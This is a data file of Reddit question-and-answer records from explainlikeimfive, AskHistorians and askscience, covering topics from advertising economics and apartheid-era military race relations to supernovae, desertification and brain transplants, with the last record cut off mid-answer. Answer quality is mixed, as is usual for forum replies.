{"q_id": "1w1dh2", "title": "how advertising became the main revenue source for a lot of the big industries?", "selftext": "Tv shows, news, sporting events, radio, etc. they all depend on attracting as much viewers as possible for one main thing: to sell ads. I find it mind boggling that if it wasn't for advertising revenue, a lot of these industries wouldn't exist. How did this came to be?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1w1dh2/eli5_how_advertising_became_the_main_revenue/", "answers": {"a_id": ["cextapn"], "score": [2], "text": ["I dont know the origins of it, but I would say it probably started with companies like McDonalds, Coke, Pepsi etc. \n\nAfter alot o fresearch they figured out of to cross market. They would have commercials running on different TV channels that had different ages watching them. Then over time they found out they could capture major audiences durning things like the world series, the superbowl, nba playoffs.\n\nTo a company like pepsi, it is worth paying 1 million dollars for a 30 sec commercial to reach 30-50 million people. If 30-50 million people buy a 1 dollar can of soda, they have a return of 29 to 49 million dollars. Even if only 1/4 buy the soda they are still  making a grip of cash.\n\nAdvertising suits the product because they can cater to a huge population, not everyone has to buy the product for the company to have a great return. In return the company pays whoever a decent portion, a radio station, a tv channel, a magazine. It is pretty effective."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "coa2s6", "title": "\"No apartheid in the front line\" - how true was this? What were race relations like in the South African Defence Forces during apartheid?", "selftext": "So in my meandering journey across the internet, I came across the works of [A.A. Pessimal](_URL_0_). He's an anomaly in the fanfic world, being an older man who has ostensibly spent time in the British Army and Northern Ireland, and who has a great interest in South Africa. Some of his Discworld fics hold a mirror up to South Africa during the Apartheid period, giving it the Discworld treatment (and in one case raising the issue of Igors, who don't do race - leading to the interesting question of how to categorise a white man who, after surgical intervention by an Igor, came to have organs from a black donor).\n\nIn one story, Pessimal observes in a footnote: \"One of many pressures on apartheid came from men who had done front-line service in the South African Defence Forces and realised it's hard to hate or despise the black soldier who's fighting as you do and taking the same risks you take. \"*no apartheid in the front line*\" was something of a truism. The modern South African Army is multi-racial and integrated; in the old days South African black soldiers were, officially at least, segregated as \"auxiliaries\". But this distinction soon broke down in combat.\"\n\nHow much truth is there in this observation? How did race really work out in the shooty-shooty? What sort of view might the South African version of Tommy Atkins have of the black trooper in the foxhole next to him?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/coa2s6/no_apartheid_in_the_front_line_how_true_was_this/", "answers": {"a_id": ["ewh2xj2", "exefy54"], "score": [7, 3], "text": ["u/artificial_doctor addressed this somewhat his [answers here.](_URL_0_)", "Hi  [u/DanKensington](_URL_0_)! Sorry for the delay in reply. I was between conferences and I was also trying to do more research on black troops in the SADF as a few others have been asking about this as well. \n\nAs [dagaboy](_URL_1_) pointed out, I did address this to some degree [here](_URL_3_) but I'll throw in a quick reply anyway. (Also, thanks for bringing to my attention Pessimals' work, very interesting. I'll look into learning more about it!)\n\nSo, Pessimal is largely correct but it's a bit more nuanced than that. I would advise picking up copies of Blake's [Troepie: From Call-Up to Camps](_URL_2_) and JH Thompson's [An Unpopular War](_URL_4_) to read accounts of the war as told by the *troepies* (Afrikaans slang for Border War soldiers) which do mention their feelings on their black comrades. I have also interviewed several white, SADF veterans in the past and they have said similar things to this:\n\nEffectively, once a soldier was past basics and was deployed on foreign soil (which was usually considered north South-West Africa (SWA - today Namibia) and Angola) and had experienced a bit of army life on the Border, and some combat for good measure, you learnt to trust the man who had your back, regardless of skin colour or creed. But, like I said, it was a bit more nuanced than that.\n\nYou had white soldiers who never had a problem with race in the first place and were fine with black soldiers, and even happier for it in some cases. You had some who changed their views whilst on deployment as, for many of them, it would be the first time they would be directly and regularly interacting with a black man, let alone fighting back-to-back with him. And, of course, there were those who stayed racist regardless. An interesting point is that some of this latter category would treat the black men they fought with with amazing civility and even respect on the Border, but would go right back to their old ways when at home. Cultural and systemic racism is a large part of Border War socio-military studies.\n\nBut there were also many different nationalities of black soldier - there were those from South Africa, SWA, Angola, Botswana and even Rhodesia (today Zimbabwe). And many of the white *troepies* treated each nationality different depending on their own personal affiliation or understanding. Bear in mind that many of the *troepies* were young conscripts of no more than 18 years of age, so this was a whole new world of war and experiences. \n\nThat's ground level, at the upper echelons of SADF command, much effort was made to make the SADF seem \"inclusive\" as the war progressed. See, the SADF had this awful reputation worldwide (and locally) as a dog of the Apartheid government, only used to enforce racial segregation at home and abroad. So, to attempt to dispel this, part of their carefully constructed propaganda campaigns involved showing how they integrated multiple religions, sports and races into the SADF structure which included black, coloured, Indian, and Asian persons. Part of this was partial integration into certain battalions where they saw regular combat - however, much of the actual usage of black SA and SWA *troepies* was in logistics. Angolan soldiers were mostly used in guerrilla or information gathering capacities by the SADF. \n\nMany veterans today (white and black) talk fondly of their brothers-in-arms, and even of their enemies, and even though many will be outright racist and contemptuous of modern blacks, they will state their comrades were cut from a different cloth and will treat them equally. \n\nIt's very nuanced and fascinating how race played a role in SADF operations.\n\nAnyway, apologies that this became longer than intended, but I hope that helps answer your question somewhat!"]}, "title_urls": [], "selftext_urls": ["https://www.fanfiction.net/u/1895209/A-A-Pessimal"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/ca8ndb/what_would_the_soldiers_of_the_various_groups_in/"], ["https://www.reddit.com/user/DanKensington/", "https://www.reddit.com/user/dagaboy/", "https://www.amazon.com/Troepie-Call-Up-Camps-Cameron-Blake/dp/1770220518", "https://www.reddit.com/r/AskHistorians/comments/ca8ndb/what_would_the_soldiers_of_the_various_groups_in/", "https://www.amazon.com/Unpopular-War-African-National-Servicemen-ebook/dp/B0052XSPD4/ref=sr_1_1?crid=3CM9TGI67FVUA&amp;keywords=an+unpopular+war&amp;qid=1566212830&amp;s=books&amp;sprefix=an+unpo%2Cstripbooks-intl-ship%2C379&amp;sr=1-1"]]}
{"q_id": "2q3073", "title": "first cbs, now fox channels. what does dish network have to gain from dropping channels? isn't it only hurting its own business?", "selftext": "Maybe I'm naive as to how TV contracts work, but I feel like dropping more and more channels will just cause Dish subscribers to go elsewhere.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q3073/eli5_first_cbs_now_fox_channels_what_does_dish/", "answers": {"a_id": ["cn2bv78", "cn2iml6"], "score": [2, 2], "text": ["Fox tells Dish \"pay us more money\". Dish says \"no\". Fox says \"fine, then you can't show our channels\". Then the two of them play a game of chicken- can Dish hold out long enough that Fox gives in and doesn't require them to pay a bunch more money for channels that no one wants?", "Dish has to pay CBS and Fox for redistribute their content.  The figure:\n\n* the price those networks are asking is more than what they would lose\n* the networks are losing advertising money from this, and will eventually lower their asking price\n* public sentiment will pressure the networks into lowering their prices"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "zc35p", "title": "Is it possible there is a super nova we don't see yet within our galaxy, that is close enough to our solar system, that once it appeared would be bright enough to illuminate the night sky for the rest of human existence? ", "selftext": "This of course assumes that the event happened several hundred thousand years ago, and light from the event has not yet reached Earth. Based on a program I saw on TV the other night, it seems quite plausible, though the program did not attempt to paint this scenario at all. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zc35p/is_it_possible_there_is_a_super_nova_we_dont_see/", "answers": {"a_id": ["c639tdc", "c63atk7"], "score": [3, 11], "text": ["Related:\n\n[The nearest star that could go SuperNova is 150 light years way, though one at 260 is more likely](_URL_0_)\n\n\nThat would be entirely possible then, though there would be some lead up to the event that we would notice.", "Supernovae don't last very long. The initial burst of energy can be as brief as only a few hours, depending on the type of supernova, (edit: but will often take weeks/months to burn out entirely).\n\nSo, taking IK Peg as an example, which is only 150LY away, we can do a little maths with known values to figure out how bright it'll be here on earth:\n\nIK Peg will be a type 1a supernova, if it does explode, which will have an absolute magnitude of around -19. (Magnitude is a measure of brightness, essentially. Lower values are brighter.) So, we use the formula:\n\nApparent Magnitude = -5 + Absolute Magnitude + 5log(d)\n\n...where d is the distance in parsecs. 150LY is about 46 Parsecs, we get:\n\nApparent Magnitude = -5 -19 + 8.31 = -15.69\n\nNow, remembering that with magnitudes, lower numbers are brighter, we can compare this to a few things we're familiar with. The maximum brightness of the moon is magnitude -12.94. The sun is around -26.74. It might not be particularly visible during the day, given the presence of the sun, but at night, it'd easily be the brightest thing in the sky.\n\nIf we examine the case of the second closest potential supernova, Spica; this star will end in a type 2 supernova, due to its composition. At a distance of 260LY, this event will have an apparent magnitude of -12.58, which still places it on-par with the moon in terms of brightness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blogs.discovermagazine.com/badastronomy/2012/05/18/the-closest-supernova-candidate/"], []]}
{"q_id": "151udt", "title": "Did any of the Roman Legionary Eagles survive to modern day?  What happened to them?", "selftext": "I was just thinking on how evidently important these symbols were to the Romans (willing to functionally wage wars to get them back) and whether or not we've found any before.  Have they been passed down from one person to another over time somewhere?  Did they all get lost?  Were they all melted for precious silver?  Surely people didn't just forget about them!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/151udt/did_any_of_the_roman_legionary_eagles_survive_to/", "answers": {"a_id": ["c7iihn2", "c7iirn8", "c7iis2t", "c7ijnqc", "c7ijuwa", "c7ixy50"], "score": [4, 188, 66, 68, 16, 7], "text": ["Yes, the best known example (I think) is currently in [Reading Museum](_URL_0_)\n\nEdit: Sorry, my bad it wasn't actually part of a roman standard, just a statue.", "Unfortunately thus far none have been found. They tended to be made out of silver or bronze and following the fall of Rome people seemed to have had better uses for the materials than some useless military standard.", "Forgive the ignorance, what is a Legionary Eagle? I realize that the eagle was an imperial symbol, but OP seems to be talking about a particular type of statue.", "No known legionary eagle has been recovered thus far. However, [other military standards have been discovered.](_URL_0_)", "I believe (and correct me if I'm wrong) but the name given for the eagle standard carried by roman legions was called an Aquila. ", "I'm no expert so can't validate the claim, [but this website](_URL_2_) claims that one was found in [Dolj County](_URL_0_), Romania.\n\nDr Dorel Bondoc, a local archaeologist [wrote this paper on it](_URL_1_)\n\n\"Absolutely by chance, a Roman bronze aquila has been discovered in the ploughed field in the area of the locality Salcuta, Dolj County.  A short time after the discovery, it was given to me for study; consequently it was bought and donated to the Museum of Oltenia, Craiova.  Because it is an important discovery, we have decided to publish it, to introduce it as fast as possible into the specialized literature.\"\n\nIt also seems to reference other similar aquila found in the area.\n\nCan any experts verify this?\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.readingmuseum.org.uk/news/2011/feb/visit-reading-museum-famous-roman-eagle/"], [], [], ["http://www.archaeology.org/0801/topten/imperial_standards.html"], [], ["http://en.wikipedia.org/wiki/Dolj_County", "http://alexisphoenix.org/imagesromania10/ApulumXLVIII2011.pdf", "http://alexisphoenix.org/romaneagle.php"]]}
{"q_id": "r346j", "title": "What is the highest altitude fish?", "selftext": "Which fish has been found to live at the highest altitudes?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r346j/what_is_the_highest_altitude_fish/", "answers": {"a_id": ["c42k1ae"], "score": [4], "text": ["Since fish need a body of water you can probably bet that the highest altitude fish will be found in a volcano basin. Since these form perfect high altitude lakes.\nSo if we go though the list ticking off the ones that are poisoned. You get to something like [Lake Titicaca](_URL_1_)\n\nIt used to have a species of fish unique to the area called [Titicaca Orestias](_URL_0_)\n(Though now extinct)\n\nSo now it would probably be trout."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Titicaca_Orestias", "http://en.wikipedia.org/wiki/Lake_Titicaca"]]}
{"q_id": "38i59x", "title": "Which uses more energy/carbon: cycling or driving?", "selftext": "[This video](_URL_1_) got me thinking about how much energy/carbon is used in the production of food. And the (in)efficiency of the human body in converting that energy into physical work.\n\nSo, does cycling to work really save energy/carbon? Or are you just shifting the energy/carbon expenditure into food production instead of your car's engine?\n\nedit: [this](_URL_0_) is the best response so far. can anyone refute it or give a better-researched answer? /u/theschizophreniac didn't cite their sources but my google-fu seems to suggest the figures are reasonable.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/38i59x/which_uses_more_energycarbon_cycling_or_driving/", "answers": {"a_id": ["crv981i", "crvd6qj", "crvdge7"], "score": [14, 13, 10], "text": ["Definitely driving produces more carbon, remember you have to make the car and it's quite a big carbon footprint.", "The reason the calculation seems a little off the mark is he's picked some pretty extreme examples.\n\n1. While 1kg of beef would allow you to cycle 144km, that is really pushing human endurance limits. \n\n2. Beef is the second worst food in terms of energy production demand. \n\n3. No one would eat 1kg of beef. They'd eat a balanced meal, where only maybe 10 - 20% of the calorific content coming from meat, which is easily a less efficient food stuff (cutting out/reducing meat from your diet is a great way of reducing CO2 emissions). Most of the energy will come from stuff like pasta, rice/grain and potatoes, which produce MUCH less CO2 as evidenced in the graph. \n\n4. Continuing on the \"Worst Case Scenario\" train, the comparison is with \"[Long-Haul Cycling](_URL_0_)\", namely a very long trip. By necessity, this is less efficient than incidental cycling. That page also comes up with reasonable values for human cycling compared with a car and seems not to have an agenda. Namely that cycling uses the fuel equivalent of a 70-130 MPG car (worst - best case bracket). \n\nInterestingly, finding un-biased values for these was surprisingly difficult, because everyone seems to pick and choose the CO2 outputs they want. Pro-cycling pages tended to go with 21gCO2/km for food and 270gCO2/km for cars and pro-car pages went with value closer to the beef argument linked here. \n\nHuman bodies are also more complex than that. The [wikipedia page on cycling performance](_URL_1_) shows us this. Namely, eating a small portion of energy intense food (nuts/chocolate), will normally make up the deficit caused by normal cycling length. \n\nIt also has to be noted that the CO2 production of food is dependent also on the energy type used. For example, in countries where power is mostly renewables/nuclear, your values for CO2 production would be completely different. ", "I won't give you an exact answer, I'll try to show you how you can get any number with such a vague question. And I'll do it after showing you that the question is even ill posed!\n\nAs a first thing, notice how /u/theschizophreniac answer doesn't apply to a real case. He talks about eating a whole kg of beef to get 3,000 *extra* calories to cicle 150 km! Nobody has a 150 km bike commute!! (6 hours of cycling in a day for a commute??)\n\nA more reasonable, yet longish, commute is 15 km a day. How many *extra* calories do you need to cycle that much? Somebody might answer \"300 calories\". But are those *extra* calories? There are high chances that, if you work an office job, that's the minimal amount of physical activity that you need to do for your well being! So... It's zero *extra* calories!! If you're a lumberjack then yes, it's 300 extra ones.\n\nOtherwise one might say that lying in bed all day enables you to lower your calorie intake to less than 1,000 calories a day, saving lots of carbon. While this is technicaly true... It doesn't make sense!\n\nHaving shown that the question is ill posed, let's look at the numbers. He used assumptions that allowed him to take a number from a table, multiply it, and give a result. But are those tabled numbers precise enough for our needs?\n\nHe assumed 120 g CO2/km of emission for a car. But if you do a short trip inside an urban environment, this ratio doesn't apply anymore. And, if you consider switching from car to bike you're talking about 8 km trips in such environment, not 100 km on a interstate! During such short trips the emission/km ratio doesn't even make sense, since most of the gasoline will be burned at stops, in parking lots or at low efficiency while warming up. It's likely that for a 8 km commute that takes 15 minutes in a urban environment a modern, efficient, european sized car will consume a whole liter of gasoline, if not more. Therefore about 2.3 kg of CO2. Which is 300 g/km! Also, you're not factoring the giant lot of CO2 produced in building the car and all the other consumables (tires, oil etc..). (and also you're neglecting different kinds of pollutants).\n\nFurthermore, what's the precision on the CO2 emission of a kg of food? It's ridicolously low! If you're in the swiss alps (no deforestation going on, no drought problems) and you eat butter from free range cows from your own village you can basically get lots of calories at near zero CO2! If you eat lean filet in Dubai that has been flown in from Argentina that's at least 10 times as much CO2 than what /u/theschizophreniac said for average fat beef meat in the UK! \n\nIt's pretty easy for your calories/CO2 ratio to vary by many, many orders of magnitude depending on what you eat and where it comes from relating to where you are."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/theydidthemath/comments/38i43x/request_which_uses_more_energycarbon_cycling_or/crv7abq", "https://www.youtube.com/watch?v=S4O5voOCqAQ"], "answers_urls": [[], ["http://physics.ucsd.edu/do-the-math/2011/11/mpg-of-a-human/", "http://en.wikipedia.org/wiki/Bicycle_performance"], []]}
{"q_id": "1zy8yr", "title": "Hypothetically could desertification affect any land on Earth through gradual expansion and a long timescale? Or are some areas invulnerable to desertification?", "selftext": "If all semiarid areas surrounding a desert became arid, would the previously humid areas then become semiarid?\n\nIf all the vulnerable areas in [this desertification map](_URL_0_) became desert, would the not vulnerable areas become susceptible?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zy8yr/hypothetically_could_desertification_affect_any/", "answers": {"a_id": ["cfy6pln"], "score": [7], "text": ["Moisture more readily evaporates into dry (and/or hot) air than humid (and/or cold) air. Land bordering a dry desert, regardless of temperature, will dump its moisture more easily, and if this is not replenished (such as by rainfall, which could be tricky if you are downwind of a desert with little moisture to provide to the effort), you may start getting some plant death. When they go, you lose their ability to retain moisture, ground cover (shade), and varying degrees of wind buffering. Some of these effects can lead to increased temperatures (say from changing albedo, loss of cloud cover, lack of moisture from plant transpiration and ground evaporation leading to poor heat retention in both directions). Root systems which keep the soil together die off, and dry dirt blows away into the wind. Plants find it difficult to grow there again due to the lack of moisture and loss of nutrients from dying soil, and you have a bit of a runaway effect on your hands. The desertification process also doesn't necessarily have to grow outwards from existing desert; the actions of man (and its livestock) can cause desertification outright even in places that aren't at high levels of risk, and already have.\n\n\nA lot of people like to think of deserts as very hot, but not all are, technically speaking. Some are a result of geography and ocean currents which cause the winds to carry moisture away from otherwise cool regions; they are too far inland for evaporation from the sea to reach, others are rainshadowed by mountains (air gets cold going up the mountain and dumps all its moisture in the process, becoming dry by the time it gets to rolling down the other side while heating up), and occasionally even air coming off the ocean is too cold to carry moisture to the shore shore (as with the case of the Atacama desert, which despite being *right next to the ocean*, has been a desert for potentially *millions* of years thanks to cold ocean currents).\n\n\nBecause there are so many ways geography and ground conditions can interact with the weather, which in turn goes on to influence other places, and so on, it seems difficult or impossible to outright say there is any place on Earth that could be completely safe from the threat of desertification--especially if this takes place over such a long timescale that mountains rise or fall, new islands are made, or continents shift appreciably. To give a current example of how bizarrely this can work at times, there are signs that the Sahara desert may actually be becoming *more* green due to temperatures in the area being so high that, because of hot air's increased capacity to hold moisture, they can create and support more rain. Whether or not this holds out in the future is uncertain, and what effect either possibility could have on the surrounding areas (or even more distant ones) is also something that would require complex and difficult modeling. \n\n\nUnfortunately, I don't have an answer for what would happen in the case of a constant outward creep of current deserts. This delves too much into speculation for AskScience, but I would imagine that even one factor associated with global desertification, such as albedo change, could throw a lot of models and simulations for a loop. There's a lot of variables and uncertainty out there, and potentially processes we don't even understand well enough."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/nNrqB9B.png"], "answers_urls": [[]]}
{"q_id": "4pvg12", "title": "Why wasn't Lyndon Johnson, the incumbent, selected to to the Democratic nominee in the 1968 presidential election?", "selftext": "The 1968 election in general seems like a perfect storm of bad luck for the Democrats, from the political climate in Vietnam to the assassination of Robert Kennedy.\n\nI understand that Johnson was quite unpopular at the time, but were there other factors at play, especially within the party, that led to his not getting the nomination?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4pvg12/why_wasnt_lyndon_johnson_the_incumbent_selected/", "answers": {"a_id": ["d4o7ydl"], "score": [7], "text": ["On January 30, 1968, the day of \"Tet\" (the Vietnamese New Year), the Viet Cong and the North Vietnamese Army launched a major military campaign that would spell the end of Johnson's presidency.  The Johnson administration had, up to that point, guaranteed the American public that the United States was on the verge of winning the war (which Johnson had escalated into a full-blown American operation in 1965).  The so-called \"Tet Offensive\" proved that opposition in Vietnam remained much stronger than Johnson had indicated.  Video of Viet Cong soldiers storming the American embassy in South Vietnam made the nightly news.  On February 27, news anchor Walter Cronkite delivered a still-famous monologue on air in which he declared that while the United States did not look like it would lose the war, it was now obvious that it could not win it either.  The anti-war protest movement, which had existed for years, exploded into the mass movement which we remember today.  Protesters followed LBJ around on his campaign trail, chanting \"Hey! Hey! LBJ! How many kids did you kill today?\", among other popular forms of protest.  Some historians have described LBJ as being \"trapped\" in the White House at times, unable to come outside to face the protesters.\n\nIn the first Democratic primary, held in New Hampshire on March 12, Johnson won--but only by a narrow margin--against the long-time anti-war Democrat Eugene McCarthy.  With this near loss and the chaos of the anti-war movement continuing to escalate around him, Johnson determined that he could not win the general election that year.  Nevertheless, Johnson remained president and he and he maintained a series of foreign-policy goals that he hoped to accomplish before the end of his term.  He therefore announced on March 31 that he would neither seek nor accept the Democratic nomination for the presidency, and he thereafter focused on ending the war in Vietnam and continued to pursue an arms reduction treaty with the Soviet Union (work that he could do outside the eye of the public, mind you).  \n\nHere the story of the Democratic primaries and Lyndon Johnson's final push diverge.  In short, Robert Kennedy quickly overtook McCarthy after entering the race, but he was assassinated before the convention, and the far less charismatic Hubert Humphrey ended up taking the nomination at the infamously protested Democratic National Convention of 1968.  Johnson, on the other hand, made great strides towards realizing a detente with the Soviet Union, but he had to cancel an arms-reduction summit with Soviet Premier Alexi Kosygin after the Soviet Union invaded Czechoslovakia (this details of this story are an further stain on his legacy, I have to add).  In the end, the Democrats ended up with a candidate who could not win and Johnson left office without having achieved a single foreign-policy accomplishment that could compare to his enormous failure in Vietnam.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ncktj", "title": "Does it take energy to move through time?", "selftext": "Struggled with the wording of the title. This isn't a \"time traveling\" question.\n\nWe know that it takes energy to move through the three dimensions of space. So when considering time as the fourth dimension either separate or as a combined with space as a single continuum, does it take energy to move through time?\n\nIn short, is there a Delta-v for moving through time.\n\nEdit: My wording was incorrect. I was just trying to express the picture in my head. I realize that it does not take energy to move through space, but energy (acceleration) was required for an object to reach it's current velocity . F=ma, so another way to look at it is like this. If our current movement through time is F, then what was the a(acceleration) that brought us to our current rate.\n\n**Edit 2: Second thought, is there energy associated with our movement through time?**\n\n**Thank you all for the great input. Certainly the key to a great answer is a great question, sorry if that was a little fuzzy, but I'm very impressed with where this went and it certainly helped my understanding**", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ncktj/does_it_take_energy_to_move_through_time/", "answers": {"a_id": ["c380wy9", "c380xq9", "c380z8d", "c381fni", "c381isx", "c381tf5", "c381wpt", "c381xem", "c380wy9", "c380xq9", "c380z8d", "c381fni", "c381isx", "c381tf5", "c381wpt", "c381xem"], "score": [3, 8, 2, 2, 16, 2, 45, 3, 3, 8, 2, 2, 16, 2, 45, 3], "text": ["It is an interesting question and one for someone with more knowledge then myself on the topic of time.\n\nHowever, consider a rock. It moves through time. Does it take energy to do so?", "hmm... it doesn't actually take energy to move through space either right? only to accelerate or deaccelerate?", "Since when does it take energy to move through space?\n\nIt takes energy to change direction in space, or overcome another force, but not to continue moving at a constant speed. ", "Well, we move through space-time, time is not separable in our geometry. E=(mass)c^2  c= 186000m/s      so     s=(sqrt(mass/E))/m     when your energy is very large compared to your mass the value of a sec is very small. \n\nSo yeah it takes energy to move through time! A couch potato has more time than a sprinter :)", "This is kind of a complex question, mostly due to the wording/terminology issues, but I'm going to try and tackle it to the best of my knowledge, though someone stop me if you see any faults in logic.\n\nA given object will have a specific entropic state at a specific point in time.  Seized in this point in time, if it's definable by it's surroundings, it is, by definition, lower entropy than the highest possible entropy.\n\nBased on some of the tenets of the idea of an [arrow of time](_URL_0_), entropy increases as time moves along it's path.  By it's nature, this is not the consumption of energy, but the result of the expansion of the universe, and the tendency toward a high-entropy state.\n\nSo, you have the 'loss' or averaging-out of energy and complexity over a period of time.  It's this change that we use to define the passage of time, in fact, so in a sense, it's tautological;  Time causes loss of complexity/increase of entropy, and our sense of time is defined by this very same change in entropy.\n\nSo, I guess now it comes down to asking some more questions.  What do you mean by 'using energy'?  And are you speaking in terms of an object moving through time?  How are you defining an object?\n\nI think the overall, simple answer is 'yes, sort-of.'  ;)  As with most good questions!", "there are many, many systems without time dependent energies (any conservative system. you will hear people say that the hamiltonian is energy, but that is only true for these cases). ", "No, nor does it take energy to move through space.  It takes work (ie. an expenditure/transfer of energy) to *change* your motion through space.  That is, it takes work to cause an acceleration.  \n\nNow remember that velocity is relative, not absolute.  That is, you can never say how fast something is moving in an absolute sense, only how fast it's moving *relative to* something else.  You are always sitting still (unless you're *accelerating*) from your own perspective.\n\nAll of these rules for motion through space also apply to \"motion through time,\" that is, the rate at which time passes.  From your own perspective, time always passes at the same rate, but from the perspective of someone else watching you, that rate depends on your velocity relative to that observer.  This relative rate can change by changing that velocity, aka. accelerating, which requires work, aka. an expenditure of energy.", "Physics doesn't really explain it in those terms.  Consider a lump of mass at rest in a vacuum (or at a constant velocity - makes no difference if we take the frame of reference to be the lump) and the lump is at true absolute zero meaning no movement in its atoms.  The lump is now completely static in its own frame of reference and is indistinguishable from a lump 'frozen' in time, but from an outside observer it could be zooming by at its current velocity and moving 'through' time as usual.  If the observer and the lump are in uniform relative motion, then the scene is essentially static, and the observer might say that the lump is frozen in time.\n\nIf time really is a fourth spatial dimension like you're wanting to assume it is, you run into the problem that time only has one direction (as far as we know).  If you're trying to apply the mathematics of classical mechanics to the time dimension (F=ma) then you would have to alter Newton's Laws to fit this model.  The first problem you would probably notice would be Newton's 3rd Law: for every action there is an equal and opposite reaction.  Since the action must be performed in some direction, there can be no reaction in the opposite direction.  It doesn't really make sense for an object to affect the past.  And on top of that, it's not a solution that special relativity predicts.\n\nEdit: for clarity.", "It is an interesting question and one for someone with more knowledge then myself on the topic of time.\n\nHowever, consider a rock. It moves through time. Does it take energy to do so?", "hmm... it doesn't actually take energy to move through space either right? only to accelerate or deaccelerate?", "Since when does it take energy to move through space?\n\nIt takes energy to change direction in space, or overcome another force, but not to continue moving at a constant speed. ", "Well, we move through space-time, time is not separable in our geometry. E=(mass)c^2  c= 186000m/s      so     s=(sqrt(mass/E))/m     when your energy is very large compared to your mass the value of a sec is very small. \n\nSo yeah it takes energy to move through time! A couch potato has more time than a sprinter :)", "This is kind of a complex question, mostly due to the wording/terminology issues, but I'm going to try and tackle it to the best of my knowledge, though someone stop me if you see any faults in logic.\n\nA given object will have a specific entropic state at a specific point in time.  Seized in this point in time, if it's definable by it's surroundings, it is, by definition, lower entropy than the highest possible entropy.\n\nBased on some of the tenets of the idea of an [arrow of time](_URL_0_), entropy increases as time moves along it's path.  By it's nature, this is not the consumption of energy, but the result of the expansion of the universe, and the tendency toward a high-entropy state.\n\nSo, you have the 'loss' or averaging-out of energy and complexity over a period of time.  It's this change that we use to define the passage of time, in fact, so in a sense, it's tautological;  Time causes loss of complexity/increase of entropy, and our sense of time is defined by this very same change in entropy.\n\nSo, I guess now it comes down to asking some more questions.  What do you mean by 'using energy'?  And are you speaking in terms of an object moving through time?  How are you defining an object?\n\nI think the overall, simple answer is 'yes, sort-of.'  ;)  As with most good questions!", "there are many, many systems without time dependent energies (any conservative system. you will hear people say that the hamiltonian is energy, but that is only true for these cases). ", "No, nor does it take energy to move through space.  It takes work (ie. an expenditure/transfer of energy) to *change* your motion through space.  That is, it takes work to cause an acceleration.  \n\nNow remember that velocity is relative, not absolute.  That is, you can never say how fast something is moving in an absolute sense, only how fast it's moving *relative to* something else.  You are always sitting still (unless you're *accelerating*) from your own perspective.\n\nAll of these rules for motion through space also apply to \"motion through time,\" that is, the rate at which time passes.  From your own perspective, time always passes at the same rate, but from the perspective of someone else watching you, that rate depends on your velocity relative to that observer.  This relative rate can change by changing that velocity, aka. accelerating, which requires work, aka. an expenditure of energy.", "Physics doesn't really explain it in those terms.  Consider a lump of mass at rest in a vacuum (or at a constant velocity - makes no difference if we take the frame of reference to be the lump) and the lump is at true absolute zero meaning no movement in its atoms.  The lump is now completely static in its own frame of reference and is indistinguishable from a lump 'frozen' in time, but from an outside observer it could be zooming by at its current velocity and moving 'through' time as usual.  If the observer and the lump are in uniform relative motion, then the scene is essentially static, and the observer might say that the lump is frozen in time.\n\nIf time really is a fourth spatial dimension like you're wanting to assume it is, you run into the problem that time only has one direction (as far as we know).  If you're trying to apply the mathematics of classical mechanics to the time dimension (F=ma) then you would have to alter Newton's Laws to fit this model.  The first problem you would probably notice would be Newton's 3rd Law: for every action there is an equal and opposite reaction.  Since the action must be performed in some direction, there can be no reaction in the opposite direction.  It doesn't really make sense for an object to affect the past.  And on top of that, it's not a solution that special relativity predicts.\n\nEdit: for clarity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Arrow_of_time"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Arrow_of_time"], [], [], []]}
{"q_id": "n96ci", "title": "Would a 70 year old brain transferred into into an 18 year old clone body,still die of old age? Also what is the biggest obstacle to performing this procedure?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n96ci/would_a_70_year_old_brain_transferred_into_into/", "answers": {"a_id": ["c379a91", "c379bhk", "c379c8y", "c379dui", "c379pys", "c379sck", "c379a91", "c379bhk", "c379c8y", "c379dui", "c379pys", "c379sck"], "score": [14, 12, 5, 3, 3, 2, 14, 12, 5, 3, 3, 2], "text": ["First, the clone would die of old age. Our DNA has telomeres at the end of it, and every time your DNA is copied for a new cell, these telomeres shorten, which is theorized to be somehow related to aging (the idea is that one these telomeres get too short, they can no longer work as protective caps on the DNA so it won't copy anymore and that cell has effectively died). Since a clone comes from a cell from the 52 year old body, in 18 years though the clone body will be 18, the cells will have telomeres the length of a 70 year old's.\n\nWith the brain itself, this problem likely wouldn't be quite as dramatic, because neurons divide much more slowly than the rest of the body, and so the brain's cells probably aren't physically nearly as old as any other cells in the body. If you could indeed transplant a brain, it may be able to outlast many bodies (robot bodies, anyone?).\n\nThough the brain is covered by an outer layer that is connected to the inside of the skull at a few points to keep it from sloshing around too much, the biggest obstacle to moving it from body to body would be the spinal cord. With today's technology, it is impossible to reconnect that many nerves accurately, not to mention that the surgery would take so long that the brain would die- it wouldn't be a surgery like a heart transplant. We can reconnect things like the tips of fingers and have decent success in attaching enough nerves and muscles and blood vessels to allow it to work, but we aren't advanced enough for brains.", "The brain would still die of old age, but not as quickly as without the 